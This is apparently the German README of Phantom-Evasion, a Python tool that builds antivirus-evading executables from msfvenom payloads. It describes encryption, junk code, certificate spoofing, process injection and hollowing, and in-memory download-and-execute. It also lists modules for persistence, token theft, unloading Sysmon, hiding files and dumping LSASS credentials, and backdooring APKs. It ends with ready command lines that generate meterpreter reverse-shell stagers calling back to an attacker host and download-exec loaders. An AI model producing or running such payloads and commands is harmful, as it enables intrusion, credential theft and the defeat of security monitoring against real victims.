
Python-basiertes Antivirus-Evasion-Tool, das nicht nachweisbare ausführbare Dateien aus msfvenom Payloads mit fortgeschrittenen Techniken wie Junkcode-Injektion, Verschlüsselung, Zertifikatsspoofing und mehreren Ausführungsmethoden generiert.
Phantom-Evasion ist ein Tool zur Umgehung von Antivirenprogrammen, geschrieben in Python (kompatibel mit Python und Python3), das in der Lage ist, (fast) vollständig unerkennbare ausführbare Dateien zu generieren, selbst mit den gängigsten x86-msfvenom-Payloads.
Die folgenden Betriebssysteme unterstützen offiziell die automatische Einrichtung:
Die folgenden Betriebssysteme unterstützen wahrscheinlich die automatische Einrichtung, erfordern jedoch eine manuelle Installation von metasploit-framework:
Die folgenden Betriebssysteme erfordern eine manuelle Einrichtung:
Einfach git clone oder herunterladen und den Phantom-Evasion-Ordner entpacken.
Automatische Einrichtung, öffne ein Terminal und führe aus:
python3 phantom-evasion.py --setup
oder:
chmod +x ./phantom-evasion.py
./phantom-evasion.py --setup
oder starte Phantom-Evasion im interaktiven Modus und wähle Option 7.
python3 phantom-evasion.py
oder:
./phantom-evasion.py
python3 phantom-evasion.py --help
oder:
./phantom-evasion.py --help
-Jedes Windows-Payload-C-Modul kann als EXE oder DLL/ReflectiveDLL kompiliert werden (unterstützt sowohl x86 als auch x64).
-Zufällige Junkcode-Injektion (Intensität, Häufigkeit und Reinjektionswahrscheinlichkeit können eingestellt werden) und Techniken zur Umgehung von Windows-Antivirenprogrammen (Häufigkeit kann eingestellt werden).
-Multibyte-Xor-/Vigenere-Verschlüsselung von Shellcode/Datei wird sowohl in Shellcode-Injektions- als auch in Download-Exec-Modulen unterstützt.
-Ntdll-UnhookAPI- und PEB-Prozess-Maskierungstechnik werden unterstützt.
-Vielfältige Ausführungsmodi werden unterstützt (sowohl lokal als auch remote).
-Vielfältige Speicherzuordnungsmodi für Payloads werden unterstützt (Virtual_RWX, Virtual_RW/RX, Virtual_RW/RWX, Heap_RWX).
-Dynamisches Laden von Windows-APIs kann eingestellt werden.
-Zertifikatsspoofer und -signierer werden unterstützt.
-Ausführbare Datei strippen (https://en.wikipedia.org/wiki/Strip_(Unix))
Msfvenom-Windows-Payloads und benutzerdefinierte Shellcodes werden unterstützt. Shellcode kann als Ressource gespeichert und zur Laufzeit mit der FindResource-API abgerufen werden.
Shellcode-Verschlüsselung wird unterstützt:
1.keine
2.Multibyte-Xor
3.Doppelschlüssel-Multibyte-Xor
4.Vigenere
5.Doppelschlüssel-Vigenere
Lokale Ausführungsmethode kann eine der folgenden sein:
Thread
APC
Lokaler Speicherzuordnungsmodus kann einer der folgenden sein:
Virtual_RWX
Virtual_RW/RX
Virtual_RW/RWX
Heap_RWX
Remote-Ausführungsmethode kann eine der folgenden sein:
ThreadExecutionHijack (kurz TEH)
Processinject (kurz PI)
APCSpray (kurz APCS)
EarlyBird (kurz EB)
EntryPointHijack (kurz EPH)
Remote-Speicherzuordnungsmodus kann einer der folgenden sein:
Virtual_RWX
Virtual_RW/RX
Virtual_RW/RWX
Pure-C-Meterpreter-Stager-Module (TCP/HTTP/HTTPS) kompatibel mit msfconsole und Cobalt Strike Beacon. (reverse_tcp/reverse_http/reverse_https)
Verwendung des Befehlszeilenmodus:
reverse_tcp C-Stager ist WRT
reverse_http C-Stager ist WRH
reverse_https C-Stager ist WRS
Lokale Ausführungsmethode kann eine der folgenden sein:
Thread
APC
Lokaler Speicherzuordnungsmodus kann einer der folgenden sein:
Virtual_RWX
Virtual_RW/RX
Virtual_RW/RWX
Heap_RWX
Lade EXE/DLL von der angegebenen URL in den Speicher herunter und führe sie aus/lade sie in einen Remote-Prozess (ohne auf die Festplatte zu schreiben).
Verschlüsselter EXE/DLL-Download wird unterstützt:
1.keine
2.Multibyte-Xor
3.Doppelschlüssel-Multibyte-Xor
4.Vigenere
5.Doppelschlüssel-Vigenere
Die verschlüsselte DLL/EXE wird als originalfilename + "crypt" + ".dll" oder ".exe" gespeichert – dies ist die Datei, die heruntergeladen werden soll.
Windows DownloadExecExe NoDiskWrite (WDE im Befehlszeilenmodus):
Remote-Ausführungsmethode kann eine der folgenden sein:
ProcessHollowing (kurz PH)
Windows DownloadExecDll NoDiskWrite (WDD im Befehlszeilenmodus):
Remote-Lademethode kann eine der folgenden sein:
ReflectiveDll (kurz RD)
RDAPC (ReflectiveDllAPC)
ManualMap (kurz MM) ---> nur x86
Msfvenom-Linux-Payloads und benutzerdefinierte Shellcodes werden unterstützt.
Android Msfvenom Obfuscate Backdoor:
Verschleiere Msfvenom-Payloads und baue sie mit apktool neu (smali/baksmali). Der verschleierte Payload kann verwendet werden, um gutartige APK-Dateien zu backdoorieren.
Windows Persistence RegCreateKeyExW Registry-Key hinzufügen (C) Die kompilierte ausführbare Datei muss auf das Zielgerät hochgeladen und ausgeführt werden, wobei der vollständige Pfad zur Datei, die zum Start hinzugefügt werden soll, als Argument angegeben wird.
Windows Persistence REG Registry-Key hinzufügen (CMD) Dieses Modul erzeugt Persistenz-Befehlszeilen-Payloads (Hinzufügen eines Registry-Keys über REG.exe).
Windows Persistence Keep Process Alive (C) Die kompilierte ausführbare Datei muss auf das Zielgerät hochgeladen und ausgeführt werden. Verwendet CreateToolSnapshoot, ProcessFirst und ProcessNext, um alle X Sekunden zu prüfen, ob ein bestimmter Prozess läuft (falls nicht, wird ein neuer Prozess mit der WinExec-API gestartet).
Windows Persistence Schtasks (CMD)
Dieses Modul erzeugt Persistenz-Befehlszeilen-Payloads (mit Schtasks.exe).
Windows Persistence Create Service (CMD)
Dieses Modul erzeugt Persistenz-Befehlszeilen-Payloads (mit sc.exe).
Windows DuplicateTokenEx (C)
Erstelle einen neuen Prozess mit einem Token, das von einem anderen Prozess geklont wurde. Die kompilierte ausführbare Datei muss auf das Zielgerät hochgeladen und ausgeführt werden.
Windows Unload Sysmon (C) Entlade den Sysmon-Treiber, was dazu führt, dass das System aufhört, Sysmon-Ereignisprotokolle aufzuzeichnen. Die kompilierte ausführbare Datei muss auf das Zielgerät hochgeladen und ausgeführt werden.
Windows Unload Sysmon (CMD) Entlade den Sysmon-Treiber, was dazu führt, dass das System aufhört, Sysmon-Ereignisprotokolle aufzuzeichnen.
Windows Attrib Datei verstecken (CMD) Verwende attrib, um eine Datei zu verstecken.
Windows SetFileAttribute versteckt (C) Verstecke eine Datei mit der SetFileAttribute-API. Die kompilierte ausführbare Datei muss auf das Zielgerät hochgeladen und ausgeführt werden.
Windows DumpLsass (C) Dump Lsass mit der MiniWriteDumpWrite-API. Die kompilierte ausführbare Datei muss auf das Zielgerät hochgeladen und ausgeführt werden.
Windows DumpLsass (CMD)
Dump Lsass über die Befehlszeile.
python3 phantom-evasion.py -m WSI -msfp windows/meterpreter/reverse_tcp -H 192.168.1.123 -P 4444 -i Thread -e 4 -mem Virtual_RWX -j 1 -J 15 -jr 0 -E 5 -c www.windows.com:443 -f exe -o filename.exe
python3 phantom-evasion.py -m WSI -msfp windows/x64/meterpreter/reverse_tcp -a x64 -H 192.168.1.123 -P 4444 -tp SkypeApp.exe -i PI -e 3 -mem Virtual_RW/RX -j 1 -J 15 -jr 0 -E 5 -f dll -R -o filename.dll
python3 phantom-evasion.py -m WSI -msfp windows/x64/meterpreter/reverse_tcp -a x64 -H 192.168.1.123 -P 4444 -tp svchost.exe -i EB -e 2 -mem Virtual_RW/RX -j 1 -J 15 -jr 0 -E 5 -f dll -res -S -o filename.dll
python3 phantom-evasion.py -m WRS -a x64 -H 192.168.1.123 -P 4444 -i Thread -mem Heap_RWX -j 1 -J 15 -jr 0 -E 5 -f dll -S -o filename.dll
python3 phantom-evasion.py -m WDD -U http://192.168.1.123/payload.dll -i MM -tp OneDrive.exe -ds 1000000 -j 10 -J 10 -jr 0 -E 10 -f exe -S -o filename.exe
python3 phantom-evasion.py -m WDE -U http://192.168.1.123/payloadcrypt.exe -e 4 -ef payload.exe -i PH -tp svchost.exe -ds 1000000 -j 1 -J 5 -jr 0 -E 3 -f dll -R -S -o filename.dll
GPLv3.0
https://github.com/stephenfewer/ReflectiveDLLInjection
https://github.com/rsmudge/metasploit-loader
https://github.com/theevilbit/injection
http://www.rohitab.com/discuss/topic/40761-manual-dll-injection/
https://wikileaks.org/ciav7p1/cms/files/BypassAVDynamics.pdf